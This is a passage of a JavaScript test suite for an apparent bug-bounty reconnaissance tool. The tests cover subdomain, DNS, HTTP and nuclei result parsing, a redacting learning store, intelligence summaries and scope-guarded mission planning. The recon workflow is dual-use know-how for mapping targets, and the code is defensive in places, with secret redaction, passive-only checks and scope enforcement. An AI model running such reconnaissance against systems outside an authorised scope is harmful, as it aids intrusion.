assert.ok(subdomain); + assert.equal(subdomain.target, "example.com"); + assert.equal(subdomain.phase, 1); + assert.equal(subdomain.source, "subfinder"); + assert.equal(subdomain.status, "success"); + assert.ok(subdomain.timestamp); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("includes error observations from errors directory", async () => { + const { normalizeObservations } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const errorsDir = resolve(missionDir, "errors"); + fs.mkdirSync(errorsDir, { recursive: true }); + + fs.writeFileSync(resolve(errorsDir, "1_subfinder_failed_error.json"), + JSON.stringify({ phase: 1, tool: "subfinder", target: "failed.com", error: "timeout", timestamp: new Date().toISOString() }), "utf-8"); + + try { + const { observations } = normalizeObservations(testMissionId); + const errors = observations.filter(o => o.status === "error"); + assert.ok(errors.length >= 1); + assert.equal(errors[0].tool, "subfinder"); + assert.equal(errors[0].target, "failed.com"); + assert.equal(errors[0].phase, 1); + assert.ok(errors[0].error.includes("timeout")); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("filters observations by type", async () => { + const { getObservationsByType } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase1Dir = resolve(missionDir, "phase1_passive"); + fs.mkdirSync(phase1Dir, { recursive: true }); + + fs.writeFileSync(resolve(phase1Dir, "1_subfinder_example.com.json"), + JSON.stringify({ phase: 1, tool: "subfinder", target: "example.com", result: "sub.example.com\n" }), "utf-8"); + + try { + const subdomains = getObservationsByType(testMissionId, "subdomain"); + assert.ok(subdomains.length >= 1); + assert.ok(subdomains.every(o => o.type === "subdomain" && o.status === "success")); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("filters observations by phase", async () => { + const { getObservationsByPhase } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase1Dir = resolve(missionDir, "phase1_passive"); + const phase2Dir = resolve(missionDir, "phase2_active"); + fs.mkdirSync(phase1Dir, { recursive: true }); + fs.mkdirSync(phase2Dir, { recursive: true }); + + fs.writeFileSync(resolve(phase1Dir, "1_subfinder_example.com.json"), + JSON.stringify({ phase: 1, tool: "subfinder", target: "example.com", result: "sub.example.com\n" }), "utf-8"); + fs.writeFileSync(resolve(phase2Dir, "2_httpx_example.com.json"), + JSON.stringify({ phase: 2, tool: "httpx", target: "example.com", result: '{"url":"https://example.com"}' }), "utf-8"); + + try { + const phase1 = getObservationsByPhase(testMissionId, 1); + const phase2 = getObservationsByPhase(testMissionId, 2); + assert.ok(phase1.length >= 1); + assert.ok(phase2.length >= 1); + assert.ok(phase1.every(o => o.phase === 1)); + assert.ok(phase2.every(o => o.phase === 2)); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("handles missing mission directory gracefully", async () => { + const { normalizeObservations } = await import("../lib/recon-analysis.mjs"); + const { observations, errors } = normalizeObservations("mission-nonexistent"); + assert.ok(Array.isArray(observations)); + assert.ok(errors.includes("Mission directory not found")); + }); + + it("handles empty results directory gracefully", async () => { + const { normalizeObservations } = await import("../lib/recon-analysis.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-analyze-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + fs.mkdirSync(missionDir, { recursive: true }); + + try { + const { observations, errors } = normalizeObservations(testMissionId); + assert.ok(Array.isArray(observations)); + assert.equal(observations.length, 0); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("never calls external networks", async () => { + // This test verifies the module has no external network calls by checking imports + const fs = await import("fs"); + const { resolve } = await import("path"); + const content = fs.readFileSync(resolve(new URL(".", import.meta.url).pathname, "..", "lib", "recon-analysis.mjs"), "utf-8"); + assert.ok(!content.includes("fetch(")); + assert.ok(!content.includes("http.")); + assert.ok(!content.includes("https.")); + assert.ok(!content.includes("dns.resolve")); + assert.ok(!content.includes("execFileSync")); + assert.ok(!content.includes("execSync")); + }); +}); + +// ── Recon learning tests ──────────────────────────────────── + +describe("recon-learning", () => { + it("records successful learning with techniques and duration", async () => { + const { recordReconLearning, loadLearning, clearLearning } = await import("../lib/recon-learning.mjs"); + clearLearning(); + + const result = recordReconLearning("mission-test-123", { + successfulTechniques: ["subfinder", "dnsx", "httpx"], + toolFailures: [], + duration: 15000, + discoveryMethods: ["passive_subdomain_enum", "dns_resolution", "http_probing"], + falsePositivePatterns: [], + targetCount: 5, + phaseResults: { phase1: 10, phase2: 8, phase3: 3 } + }); + + assert.ok(result.success); + + const entries = loadLearning({ missionId: "mission-test-123" }); + assert.ok(entries.length >= 1); + assert.ok(entries[0].successfulTechniques.includes("subfinder")); + assert.equal(entries[0].duration, 15000); + assert.ok(entries[0].discoveryMethods.includes("passive_subdomain_enum")); + }); + + it("records tool failures", async () => { + const { recordToolFailure, loadLearning, clearLearning } = await import("../lib/recon-learning.mjs"); + clearLearning(); + + recordToolFailure("subfinder", "example.com", 1, "timeout"); + recordToolFailure("httpx", "test.com", 2, "connection refused"); + + const entries = loadLearning({ type: "tool_failure" }); + assert.ok(entries.length >= 2); + assert.ok(entries.some(e => e.tool === "subfinder" && e.error.includes("timeout"))); + assert.ok(entries.some(e => e.tool === "httpx" && e.error.includes("connection refused"))); + }); + + it("records technique success", async () => { + const { recordTechniqueSuccess, loadLearning, clearLearning } = await import("../lib/recon-learning.mjs"); + clearLearning(); + + recordTechniqueSuccess("subfinder", "mission-123", 10); + recordTechniqueSuccess("dnsx", "mission-123", 10); + + const entries = loadLearning({ type: "technique_success" }); + assert.ok(entries.length >= 2); + assert.ok(entries.some(e => e.technique === "subfinder" && e.targetCount === 10)); + }); + + it("filters secrets from learning entries", async () => { + const { recordLearning, loadLearning, clearLearning, sanitize, containsSecret } = await import("../lib/recon-learning.mjs"); + clearLearning(); + + // Test secret detection + assert.ok(containsSecret("api_key=secret123")); + assert.ok(containsSecret("Authorization: Bearer token123")); + assert.ok(containsSecret("password=secret")); + assert.ok(!containsSecret("example.com")); + assert.ok(!containsSecret("subdomain.example.com")); + + // Test sanitization + assert.equal(sanitize("api_key=secret123"), "api_key=[REDACTED]"); + assert.equal(sanitize("Bearer token123"), "Bearer [REDACTED]"); + assert.equal(sanitize("normal text"), "normal text"); + + // Test full entry sanitization + recordLearning({ + type: "test", + api_key: "secret123", + normal_field: "value", + nested: { token: "abc123", safe: "ok" } + }); + + const entries = loadLearning({ type: "test" }); + assert.ok(entries.length >= 1); + assert.equal(entries[0].api_key, "[REDACTED]"); + assert.equal(entries[0].normal_field, "value"); + assert.equal(entries[0].nested.token, "[REDACTED]"); + assert.equal(entries[0].nested.safe, "ok"); + }); + + it("handles malformed JSONL entries gracefully", async () => { + const { loadLearning, clearLearning, getLearningFilePath } = await import("../lib/recon-learning.mjs"); + const fs = await import("fs"); + clearLearning(); + + // Write valid entry + const learningFile = getLearningFilePath(); + fs.appendFileSync(learningFile, JSON.stringify({ type: "valid", data: "test" }) + "\n", "utf-8"); + // Write malformed entry + fs.appendFileSync(learningFile, "{ this is not valid json\n", "utf-8"); + // Write another valid entry + fs.appendFileSync(learningFile, JSON.stringify({ type: "valid2", data: "test2" }) + "\n", "utf-8"); + + const entries = loadLearning(); + // Should only return valid entries (2), skip malformed + assert.ok(entries.length >= 2); + assert.ok(entries.some(e => e.type === "valid")); + assert.ok(entries.some(e => e.type === "valid2")); + }); + + it("persists and reloads learning across calls", async () => { + const { recordReconLearning, loadLearning, getLearningStats, clearLearning } = await import("../lib/recon-learning.mjs"); + clearLearning(); + + recordReconLearning("mission-A", { + successfulTechniques: ["subfinder", "dnsx"], + duration: 10000, + discoveryMethods: ["passive_subdomain_enum"], + targetCount: 3 + }); + + recordReconLearning("mission-B", { + successfulTechniques: ["subfinder", "httpx"], + duration: 20000, + discoveryMethods: ["http_probing"], + targetCount: 2 + }); + + const stats = getLearningStats(); + assert.equal(stats.missionsAnalyzed, 2); + assert.ok(stats.successfulTechniques.subfinder >= 2); + assert.ok(stats.successfulTechniques.dnsx >= 1); + assert.ok(stats.successfulTechniques.httpx >= 1); + assert.ok(stats.averageDuration > 0); + + // Verify persistence by loading fresh + const entries = loadLearning(); + assert.ok(entries.length >= 2); + }); + + it("queries successful techniques ranking", async () => { + const { getSuccessfulTechniques, clearLearning, recordReconLearning } = await import("../lib/recon-learning.mjs"); + clearLearning(); + + recordReconLearning("m1", { successfulTechniques: ["subfinder", "dnsx"] }); + recordReconLearning("m2", { successfulTechniques: ["subfinder", "httpx"] }); + recordReconLearning("m3", { successfulTechniques: ["subfinder"] }); + + const techniques = getSuccessfulTechniques(); + assert.ok(techniques.length >= 3); + assert.equal(techniques[0].technique, "subfinder"); + assert.equal(techniques[0].count, 3); + }); + + it("queries tool failure rates", async () => { + const { getToolFailureRates, clearLearning, recordReconLearning } = await import("../lib/recon-learning.mjs"); + clearLearning(); + + recordReconLearning("m1", { successfulTechniques: ["subfinder"], toolFailures: [{ tool: "dnsx", target: "x.com" }] }); + recordReconLearning("m2", { successfulTechniques: ["subfinder"], toolFailures: [{ tool: "dnsx", target: "y.com" }] }); + recordReconLearning("m3", { successfulTechniques: ["subfinder", "httpx"] }); + + const failureRates = getToolFailureRates(); + const dnsx = failureRates.find(f => f.tool === "dnsx"); + assert.ok(dnsx); + assert.equal(dnsx.failures, 2); + assert.ok(dnsx.failureRate > 0); + }); + + it("queries discovery methods", async () => { + const { getDiscoveryMethods, clearLearning, recordReconLearning } = await import("../lib/recon-learning.mjs"); + clearLearning(); + + recordReconLearning("m1", { discoveryMethods: ["passive_subdomain_enum", "dns_resolution"] }); + recordReconLearning("m2", { discoveryMethods: ["passive_subdomain_enum", "http_probing"] }); + + const methods = getDiscoveryMethods(); + const passiveEnum = methods.find(m => m.method === "passive_subdomain_enum"); + assert.ok(passiveEnum); + assert.equal(passiveEnum.count, 2); + }); + + it("queries false positive patterns", async () => { + const { getFalsePositivePatterns, clearLearning, recordReconLearning } = await import("../lib/recon-learning.mjs"); + clearLearning(); + + recordReconLearning("m1", { falsePositivePatterns: ["High nuclei findings on parked pages"] }); + recordReconLearning("m2", { falsePositivePatterns: ["High nuclei findings on parked pages", "DNS wildcards causing duplicates"] }); + + const patterns = getFalsePositivePatterns(); + assert.ok(patterns.length >= 2); + assert.ok(patterns.includes("High nuclei findings on parked pages")); + }); + + it("loads learning for specific mission", async () => { + const { getMissionLearning, clearLearning, recordReconLearning } = await import("../lib/recon-learning.mjs"); + clearLearning(); + + recordReconLearning("mission-X", { successfulTechniques: ["subfinder"] }); + recordReconLearning("mission-Y", { successfulTechniques: ["dnsx"] }); + + const missionX = getMissionLearning("mission-X"); + assert.ok(missionX.length >= 1); + assert.ok(missionX.every(e => e.missionId === "mission-X")); + }); + + it("never stores raw command output or secrets", async () => { + const { recordReconLearning, loadLearning, clearLearning, getLearningFilePath } = await import("../lib/recon-learning.mjs"); + const fs = await import("fs"); + clearLearning(); + + recordReconLearning("mission-secure", { + successfulTechniques: ["subfinder"], + toolFailures: [{ tool: "httpx", target: "example.com", error: "api_key=secret123" }], + duration: 5000 + }); + + const entries = loadLearning({ missionId: "mission-secure" }); + const fileContent = fs.readFileSync(getLearningFilePath(), "utf-8"); + + // Verify secret VALUES are filtered in stored data (keys remain, values redacted) + assert.ok(!fileContent.includes("secret123")); + assert.ok(fileContent.includes("api_key=[REDACTED]") || fileContent.includes("api_key: [REDACTED]")); + assert.ok(fileContent.includes("[REDACTED]")); + }); +}); + +// ── Recon learning integration tests ──────────────────────── + +describe("recon learning integration", () => { + it("generates learning after successful completion", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { loadLearning, clearLearning } = await import("../lib/recon-learning.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + clearLearning(); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + // Run auto which completes recon and generates learning + await hackerTools.mission(`auto ${missionId}`); + + // Wait a moment for async learning write + await new Promise(r => setTimeout(r, 100)); + + const learning = loadLearning({ missionId, type: "recon_learning" }); + assert.ok(learning.length >= 1); + // Learning recorded (techniques may be empty if tools aren't installed) + assert.ok(Array.isArray(learning[0].successfulTechniques)); + assert.ok(Array.isArray(learning[0].discoveryMethods)); + assert.ok(typeof learning[0].duration === "number" || learning[0].duration === null); + } + }); + + it("generates learning with tool failures", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { loadLearning, clearLearning, getLearningStats } = await import("../lib/recon-learning.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + clearLearning(); + + // Create a new mission with scope + const mission = createMission({ handle: "learning-test", name: "Learning Test" }, { + inScope: [{ identifier: "example.com", normalized: "example.com", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + await hackerTools.mission(`auto ${mission.id}`); + await new Promise(r => setTimeout(r, 100)); + + const learning = loadLearning({ missionId: mission.id, type: "recon_learning" }); + assert.ok(learning.length >= 1); + // Even with failures, learning should be recorded + assert.ok(Array.isArray(learning[0].toolFailures)); + }); + + it("prevents duplicate learning on re-run", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { loadLearning, clearLearning } = await import("../lib/recon-learning.mjs"); + const { listMissions } = await import("../lib/mission.mjs"); + clearLearning(); + + const missions = listMissions(); + if (missions.length > 0) { + const missionId = missions[0].id; + // First run + await hackerTools.mission(`auto ${missionId}`); + await new Promise(r => setTimeout(r, 100)); + + const firstLearning = loadLearning({ missionId, type: "recon_learning" }); + const firstCount = firstLearning.length; + + // Second run (should not create duplicate) + await hackerTools.mission(`auto ${missionId}`); + await new Promise(r => setTimeout(r, 100)); + + const secondLearning = loadLearning({ missionId, type: "recon_learning" }); + const secondCount = secondLearning.length; + + // Should not create duplicate + assert.equal(firstCount, secondCount); + } + }); + + it("handles interrupted/resumed mission learning", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { loadLearning, clearLearning } = await import("../lib/recon-learning.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + const { pauseRecon, resumeRecon, getExecutionState, EXEC_STATES } = await import("../lib/recon.mjs"); + clearLearning(); + + // Create mission + const mission = createMission({ handle: "resume-test", name: "Resume Test" }, { + inScope: [{ identifier: "example.com", normalized: "example.com", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + // Start recon manually (not auto) so we can pause it + const { startRecon } = await import("../lib/recon.mjs"); + await startRecon(mission.id); + await new Promise(r => setTimeout(r, 100)); + + // Check state - if already completed, skip pause/resume test + let state = getExecutionState(mission.id); + if (state === EXEC_STATES.RECONNAISSANCE) { + // Pause during execution + pauseRecon(mission.id); + await new Promise(r => setTimeout(r, 50)); + + // Resume should continue + await resumeRecon(mission.id); + await new Promise(r => setTimeout(r, 100)); + } + + // Learning should exist after final completion + let learning = loadLearning({ missionId: mission.id, type: "recon_learning" }); + assert.ok(learning.length >= 1); + const firstTimestamp = learning[0].timestamp; + + // Re-running auto should not create duplicate learning + await hackerTools.mission(`auto ${mission.id}`); + await new Promise(r => setTimeout(r, 100)); + + learning = loadLearning({ missionId: mission.id, type: "recon_learning" }); + assert.equal(learning.length, 1); + assert.equal(learning[0].timestamp, firstTimestamp); + }); + + it("filters secrets in recon-generated learning", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + const { loadLearning, clearLearning, getLearningFilePath } = await import("../lib/recon-learning.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + const fs = await import("fs"); + clearLearning(); + + // Create mission + const mission = createMission({ handle: "secret-test", name: "Secret Test" }, { + inScope: [{ identifier: "example.com", normalized: "example.com", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + // Simulate tool error with secret by directly writing to errors dir + const { resolve } = await import("path"); + const { homedir } = await import("os"); + const errorsDir = resolve(homedir(), ".config", "phantom", "missions", mission.id, "errors"); + fs.mkdirSync(errorsDir, { recursive: true }); + fs.writeFileSync(resolve(errorsDir, "2_httpx_test.com_error.json"), + JSON.stringify({ phase: 2, tool: "httpx", target: "test.com", error: "Authorization: Bearer token123", timestamp: new Date().toISOString() }), "utf-8"); + + await hackerTools.mission(`auto ${mission.id}`); + await new Promise(r => setTimeout(r, 100)); + + const fileContent = fs.readFileSync(getLearningFilePath(), "utf-8"); + // Verify secret values are redacted + assert.ok(!fileContent.includes("token123")); + assert.ok(fileContent.includes("[REDACTED]")); + }); +}); + +// ── Recon intelligence tests ──────────────────────────────── + +describe("recon-intelligence", () => { + it("generates mission observation summary", async () => { + const { getMissionObservationSummary } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase1Dir = resolve(missionDir, "phase1_passive"); + fs.mkdirSync(phase1Dir, { recursive: true }); + + fs.writeFileSync(resolve(phase1Dir, "1_subfinder_example.com.json"), + JSON.stringify({ phase: 1, tool: "subfinder", target: "example.com", result: "sub1.example.com\nsub2.example.com\n" }), "utf-8"); + + try { + const summary = getMissionObservationSummary(testMissionId); + assert.equal(summary.counts.subdomains, 2); + assert.equal(summary.byPhase[1].subdomains, 2); + assert.equal(summary.missionId, testMissionId); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("generates technology summary", async () => { + const { getTechnologySummary } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase2Dir = resolve(missionDir, "phase2_active"); + fs.mkdirSync(phase2Dir, { recursive: true }); + + const mockResult = "Server: nginx/1.18.0\nX-Powered-By: PHP/8.1"; + fs.writeFileSync(resolve(phase2Dir, "2_httpx_example.com.json"), + JSON.stringify({ phase: 2, tool: "httpx", target: "example.com", result: mockResult }), "utf-8"); + + try { + const techSummary = getTechnologySummary(testMissionId); + assert.ok(techSummary.uniqueTechnologies >= 2); + assert.ok(techSummary.technologies.some(t => t.name.includes("nginx"))); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("generates HTTP summary", async () => { + const { getHttpSummary } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase2Dir = resolve(missionDir, "phase2_active"); + fs.mkdirSync(phase2Dir, { recursive: true }); + + const mockResult = JSON.stringify({ + url: "https://example.com", + status_code: 200, + webserver: "nginx", + tech: ["nginx"] + }); + fs.writeFileSync(resolve(phase2Dir, "2_httpx_example.com.json"), + JSON.stringify({ phase: 2, tool: "httpx", target: "example.com", result: mockResult }), "utf-8"); + + try { + const httpSummary = getHttpSummary(testMissionId); + assert.equal(httpSummary.totalServices, 1); + assert.equal(httpSummary.statusCodes[200], 1); + assert.equal(httpSummary.webServers.nginx, 1); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("generates DNS summary", async () => { + const { getDnsSummary } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase1Dir = resolve(missionDir, "phase1_passive"); + fs.mkdirSync(phase1Dir, { recursive: true }); + + const mockResult = JSON.stringify({ host: "example.com", a: ["93.184.216.34"] }); + fs.writeFileSync(resolve(phase1Dir, "1_dnsx_example.com.json"), + JSON.stringify({ phase: 1, tool: "dnsx", target: "example.com", result: mockResult }), "utf-8"); + + try { + const dnsSummary = getDnsSummary(testMissionId); + assert.equal(dnsSummary.totalRecords, 1); + assert.equal(dnsSummary.uniqueNames, 1); + assert.equal(dnsSummary.recordTypes.A, 1); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("generates security metadata summary with informational note", async () => { + const { getSecurityMetadataSummary } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase3Dir = resolve(missionDir, "phase3_validation"); + fs.mkdirSync(phase3Dir, { recursive: true }); + + const mockResult = JSON.stringify({ + template_id: "tech-detect", + info: { severity: "info", name: "Technology Detection" }, + matched_at: "https://example.com" + }); + fs.writeFileSync(resolve(phase3Dir, "3_nuclei_example.com.json"), + JSON.stringify({ phase: 3, tool: "nuclei", target: "example.com", result: mockResult }), "utf-8"); + + try { + const secSummary = getSecurityMetadataSummary(testMissionId); + assert.equal(secSummary.totalFindings, 1); + assert.ok(secSummary.note.includes("informational")); + assert.ok(secSummary.note.includes("NOT vulnerability")); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("generates learned summary", async () => { + const { getLearnedSummary } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + fs.mkdirSync(missionDir, { recursive: true }); + + try { + const learned = getLearnedSummary(testMissionId); + assert.equal(learned.hasLearning, false); + assert.ok(learned.message.includes("No learning")); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("generates recommended next actions (passive only)", async () => { + const { getRecommendedNextActions } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase1Dir = resolve(missionDir, "phase1_passive"); + fs.mkdirSync(phase1Dir, { recursive: true }); + + // Subdomains found but no HTTP probing + fs.writeFileSync(resolve(phase1Dir, "1_subfinder_example.com.json"), + JSON.stringify({ phase: 1, tool: "subfinder", target: "example.com", result: "sub1.example.com\nsub2.example.com\n" }), "utf-8"); + + try { + const actions = getRecommendedNextActions(testMissionId); + assert.ok(actions.actions.length > 0); + // All actions must be passive + for (const a of actions.actions) { + assert.ok(a.passive === true); + assert.ok(["high", "medium", "low"].includes(a.priority)); + } + // Should recommend HTTP probing + const httpAction = actions.actions.find(a => a.tools.includes("httpx")); + assert.ok(httpAction); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("full intelligence report formatting", async () => { + const { formatIntelligenceReport, getMissionIntelligence } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase1Dir = resolve(missionDir, "phase1_passive"); + fs.mkdirSync(phase1Dir, { recursive: true }); + + fs.writeFileSync(resolve(phase1Dir, "1_subfinder_example.com.json"), + JSON.stringify({ phase: 1, tool: "subfinder", target: "example.com", result: "sub.example.com\n" }), "utf-8"); + + try { + const report = formatIntelligenceReport(testMissionId); + assert.ok(report.includes("MISSION INTELLIGENCE")); + assert.ok(report.includes("OBSERVATION SUMMARY")); + assert.ok(report.includes("Read-only intelligence")); + assert.ok(report.includes("No targets authorized")); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("filters secrets in intelligence output", async () => { + const { getMissionIntelligence } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + const phase2Dir = resolve(missionDir, "phase2_active"); + fs.mkdirSync(phase2Dir, { recursive: true }); + + // HTTP response with secret in title + const mockResult = JSON.stringify({ + url: "https://example.com", + status_code: 200, + title: "Dashboard - api_key=secret123" + }); + fs.writeFileSync(resolve(phase2Dir, "2_httpx_example.com.json"), + JSON.stringify({ phase: 2, tool: "httpx", target: "example.com", result: mockResult }), "utf-8"); + + try { + const intel = getMissionIntelligence(testMissionId); + const reportStr = JSON.stringify(intel); + assert.ok(!reportStr.includes("secret123")); + assert.ok(reportStr.includes("[REDACTED]") || !reportStr.includes("api_key=secret123")); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("scope safety - never modifies scope guard", async () => { + const { getMissionIntelligence, getRecommendedNextActions } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + fs.mkdirSync(missionDir, { recursive: true }); + + try { + // Verify module has no scope modification logic + const fs2 = await import("fs"); + const { resolve: resolve2 } = await import("path"); + const content = fs2.readFileSync(resolve2(new URL(".", import.meta.url).pathname, "..", "lib", "recon-intelligence.mjs"), "utf-8"); + assert.ok(!content.includes("isInScope")); + // "scope" may appear in comments, but not in authorization logic + // "authorize" may appear in comments but not as authorization calls + // Just verify no scope guard modification functions + assert.ok(!content.includes("isInScope(")); + assert.ok(!content.includes("normalizeTarget")); + + // Recommendations should be passive + const actions = getRecommendedNextActions(testMissionId); + for (const a of actions.actions) { + assert.ok(a.passive === true); + } + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("handles empty mission gracefully", async () => { + const { getMissionIntelligence } = await import("../lib/recon-intelligence.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + + const testMissionId = `test-intel-${Date.now()}`; + const missionDir = resolve(homedir(), ".config", "phantom", "missions", testMissionId); + fs.mkdirSync(missionDir, { recursive: true }); + + try { + const intel = getMissionIntelligence(testMissionId); + assert.ok(intel.observationSummary.counts.subdomains === 0); + assert.ok(intel.observationSummary.counts.errors === 0); + assert.ok(intel.recommendedActions.actions.length === 0); + } finally { + fs.rmSync(missionDir, { recursive: true, force: true }); + } + }); + + it("recon_intelligence CLI tool works", async () => { + const { hackerTools } = await import("../lib/tools.mjs"); + + const help = await hackerTools.recon_intelligence("help"); + assert.match(help, /Recon Intelligence/); + assert.match(help, /report.*mission_id/); + assert.match(help, /summary.*mission_id/); + assert.match(help, /actions.*mission_id/); + assert.match(help, /global/); + + const global = await hackerTools.recon_intelligence("global"); + assert.match(global, /Global Learning Stats/); + }); +}); + +// ── Mission planner tests ──────────────────────────────── + +describe("recon-planner", () => { + it("denies actions when scope guard rejects target", async () => { + const { getMissionPlan } = await import("../lib/recon-planner.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + + // Create mission with empty scope + const mission = createMission({ handle: "scope-denied", name: "Scope Denied" }, { + inScope: [], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + const plan = getMissionPlan(mission.id); + assert.ok(!plan.scopeValid); + assert.ok(plan.actions.length === 0); + assert.ok(plan.error.includes("in-scope targets")); + }); + + it("denies actions when all targets rejected by scope guard", async () => { + const { getMissionPlan } = await import("../lib/recon-planner.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + + // Create mission with scope that will be rejected + const mission = createMission({ handle: "all-denied", name: "All Denied" }, { + inScope: [{ identifier: "denied.com", normalized: "denied.com", isWildcard: false, assetType: "URL" }], + exclusions: [{ identifier: "denied.com", normalized: "denied.com", isWildcard: false, assetType: "URL" }], + restrictions: [] + }); + saveMission(mission); + + const plan = getMissionPlan(mission.id); + assert.ok(!plan.scopeValid); + assert.ok(plan.actions.length === 0); + }); + + it("returns no action when scope is missing", async () => { + const { getNextAction } = await import("../lib/recon-planner.mjs"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + + const mission = createMission({ handle: "no-scope", name: "No Scope" }, { + inScope: [], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + const next = getNextAction(mission.id); + assert.ok(next.action === null); + assert.ok(next.reason.includes("scope")); + }); + + it("prevents duplicate actions for already-completed tool+target+phase", async () => { + const { getMissionPlan, getMissionPlan: getMissionPlan2 } = await import("../lib/recon-planner.mjs"); + const fs = await import("fs"); + const { resolve } = await import("path"); + const { homedir } = await import("os"); + const { createMission, saveMission } = await import("../lib/mission.mjs"); + + const mission = createMission({ handle: "dup-test", name: "Dup Test" }, { + inScope: [{ identifier: "example.com", normalized: "example.com", isWildcard: false, assetType: "URL" }], + exclusions: [], + restrictions: [] + }); + saveMission(mission); + + // Add completed subfinder result + const missionDir = resolve(homedir(), ".config", "phantom", "missions", mission.id); + const phase1Dir = resolve(missionDir, "phase1_passive"); + fs.mkdirSync(phase1Dir, { recursive: true }); + fs.writeFileSync(resolve(phase1Dir, "1_subfinder_example.com.json"), + JSON.stringify({ phase: 1, tool: "subfinder", target: "example.com", result: "sub.example.com\n" }), "utf-8"); + + try { + const plan = getMissionPlan(mission.id); + const subfinderActions = plan.actions.filter(a => a.tool === "subfinder" && a.target === "example.com" && a.phase === 1); + assert.equal(subfinderActions.length, 0); // Should not recommend already-done action + } 